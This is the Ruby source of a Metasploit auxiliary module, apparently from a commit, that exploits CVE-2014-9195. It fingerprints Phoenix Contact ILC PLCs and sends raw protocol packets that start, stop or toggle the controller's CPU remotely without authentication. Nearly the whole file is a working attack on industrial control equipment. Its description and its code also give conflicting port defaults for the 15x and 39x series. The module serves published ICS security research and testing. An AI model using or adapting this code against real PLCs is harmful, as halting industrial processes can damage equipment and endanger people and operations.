Added phoenix_command.rb
Tijl Deneut
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fda4eb4cdf
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Rex::Socket::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PhoenixContact PLC Remote START/STOP Command',
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'Version' => '1',
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'Description' => %q{
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PhoenixContact Programmable Logic Controllers are built upon a variant of
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ProConOS. Communicating using a proprietary protocol over ports TCP/1962
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and TCP/41100 or TCP/20547.
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It allows a remote user to read out the PLC Type, Firmware and
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Build number on port TCP/1962.
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And also to read out the CPU State (Running or Stopped) AND start
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or stop the CPU on port TCP/20547 (confirmed ILC 15x and 17x series)
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or on port TCP/41100 (confirmed ILC 39x series)
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},
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'Author' => 'Tijl Deneut <tijl.deneut[at]howest.be>',
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'URL', 'https://github.com/tijldeneut/ICSSecurityScripts' ],
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[ 'CVE', '2014-9195']
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],
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'DisclosureDate' => 'May 20 2015'
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))
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register_options(
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[
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OptEnum.new('ACTION', [true, 'PLC CPU action, REV means reverse current CPU state', 'NOOP',
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[
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'STOP',
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'START',
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'REV',
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'NOOP'
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]
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]),
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OptPort.new('RINFOPORT', [true, 'Set info port', 1962 ]),
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OptPort.new('RPORT', [false, 'Set action port, will try autodetect when not set' ])
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], self.class)
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end
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# Here comes the code, hang on to your pants
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def bin_to_hex(s)
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s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
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end
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def hex_to_bin(s)
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s.scan(/../).map { |x| x.hex.chr }.join
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end
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def send_recv_once(data)
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buf = ''
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begin
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sock.put(data)
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buf = sock.get_once || ''
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rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
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elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
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end
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bin_to_hex(buf)
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end
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def get_info(rhost, rport)
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connect(true, {'RHOST'=>rhost, 'RPORT'=>rport})
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code = send_recv_once("\x01\x01\x00\x1a\x00^\x00\x00\x00\x00\x00\x03\x00\x0cIBETH01N0_M\x00")[34..35]
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send_recv_once("\x01\x05\x00\x16\x00\x5f\x00\x00\x08\xef\x00" + hex_to_bin(code) + "\x00\x00\x00\x22\x00\x04\x02\x95\x00\x00")
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data = send_recv_once("\x01\x06\x00\x0e\x00\x61\x00\x00\x88\x11\x00" + hex_to_bin(code) + "\x04\x00")
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disconnect
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plctype = hex_to_bin(data[60..99])
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print_status("PLC Type = " + plctype)
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print_status("Firmware = " + hex_to_bin(data[132..139]))
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print_status("Build = " + hex_to_bin(data[158..174]) + " " + hex_to_bin(data[182..199]))
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print_status('------------------------------------')
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plctype
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end
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def init_phase1
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send_recv_once("\x01\x00\x00\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\xcf\xffAde.Remoting.Services.IProConOSControlService2\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IProConOSControlService\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDataAccessService\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDeviceInfoService2\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDeviceInfoService\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\xd9\xffAde.Remoting.Services.IForceService2\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x00$\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IForceService\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\xce\xffAde.Remoting.Services.ISimpleFileAccessService3\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.ISimpleFileAccessService2\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDeviceInfoService2\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDeviceInfoService\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDataAccessService3\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDataAccessService\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDataAccessService2\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\xd5\xffAde.Remoting.Services.IBreakpointService\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00\xd6\xffAde.Remoting.Services.ICallstackService\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDebugService2\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\xcf\xffAde.Remoting.Services.IProConOSControlService2\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IProConOSControlService\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\xce\xffAde.Remoting.Services.ISimpleFileAccessService3\x00")
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send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.ISimpleFileAccessService2\x00")
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send_recv_once("\x01\x00\x02\x00\x00\x00\x0e\x00\x03\x00\x03\x00\x00\x00\x00\x00\x05\x00\x00\x00\x12@\x13@\x13\x00\x11@\x12\x00")
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end
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def init_phase2
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send_recv_once("\xcc\x01\x00\r\xc0\x01\x00\x00\xd5\x17")
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send_recv_once("\xcc\x01\x00\x0b@\x02\x00\x00G\xee")
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send_recv_once("\xcc\x01\x00[@\x03\x1c\x00\x01\x00\x00\x00\x1c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd7\x9a")
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send_recv_once("\xcc\x01\x00[@\x04\x1c\x00\x01\x00\x00\x00\x1c\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xeaC")
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send_recv_once("\xcc\x01\x00\x06@\x05\x00\x006\x1e")
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send_recv_once("\xcc\x01\x00\x07@\x06\x10\x00&u\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc6\x82")
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end
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def get_state1(data)
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if data[48..49] == '03'
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state = 'RUN'
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elsif data[48..49] == '07'
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state = 'STOP'
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elsif data[49..49] == '00'
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state = 'ON'
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else
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print_error('CPU State not detected, full result is ' + data)
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return
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end
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state
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end
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def get_state2(data)
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if data[16..17] == '04'
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state = 'STOP'
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elsif data[16..17] == '02'
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state = 'RUN'
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else
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print_error('CPU State not detected, full result is ' + data)
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return
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end
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state
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end
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def get_cpu(rhost, rport, devicetype)
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connect(true, {'RHOST'=>rhost, 'RPORT'=>rport})
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state = 'unknown'
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if devicetype == '15x'
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init_phase1
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## KeepAlive packet
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send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00")
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## Query packet
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data = send_recv_once("\x01\x00\x02\x00\x00\x00\x08\x00\x03\x00\x03\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x40\x0b\x40")
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state = get_state1(data)
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elsif devicetype == '39x'
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init_phase2
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data = send_recv_once("\xcc\x01\x00\x0f@\x07\x00\x00\xea\xfa")
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state = get_state2(data)
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end
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disconnect
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print_status('CPU Mode = ' + state)
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state
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end
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def set_cpu(rhost, rport, action, state, devicetype)
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connect(true, {'RHOST'=>rhost, 'RPORT'=>rport})
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if devicetype == '15x'
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init_phase1 ## Several packets (21)
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send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00")
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if action == 'START' or (action == 'REV' and state == 'STOP')
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print_status('--> Sending COLD start now')
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send_recv_once("\x01\x00\x02\x00\x00\x00\x02\x00\x01\x00\x06\x00\x00\x00\x00\x00\x01\x00")
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else
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print_status('--> Sending STOP now')
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send_recv_once("\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x07\x00\x00\x00\x00\x00")
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end
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elsif devicetype == '39x'
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init_phase2 ## Several packets (6)
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if action == 'START' or (action == 'REV' and state == 'STOP')
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print_status('--> Sending COLD start now')
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send_recv_once("\xcc\x01\x00\x04\x40\x0e\x00\x00\x18\x21")
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else
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print_status('--> Sending STOP now')
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send_recv_once("\xcc\x01\x00\x01\x40\x0e\x00\x00\x4c\x07")
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end
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else
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print_error('Unknown device type')
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return
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end
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sleep(1) ## It takes a second for a PLC to start
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get_cpu(rhost, rport, devicetype)
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disconnect
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end
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def run
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rhost = datastore['RHOST']
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action = datastore['ACTION']
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ractionport = datastore['RPORT']
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device = get_info(rhost, datastore['RINFOPORT'])
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if device.start_with?('ILC 15') or device.start_with?('ILC 17')
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devicetype = '15x'
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print_status('--> Detected 15x/17x series, getting current CPU state:')
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ractionport == 0 ? (rport = 41100) : (rport = ractionport)
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elsif device.start_with?('ILC 39')
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devicetype = '39x'
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print_status('--> Detected 39x series, getting current CPU state:')
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ractionport == 0 ? (rport = 20547) : (rport = ractionport)
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else
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print_error('Only ILC and (some) RFC devices are supported.')
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return
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end
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state = get_cpu(rhost, rport, devicetype)
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print_status('------------------------------------')
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if action == "NOOP"
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print_status('--> No action specified (' + action + '), stopping here')
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return
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end
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set_cpu(rhost, rport, action, state, devicetype)
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end
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end
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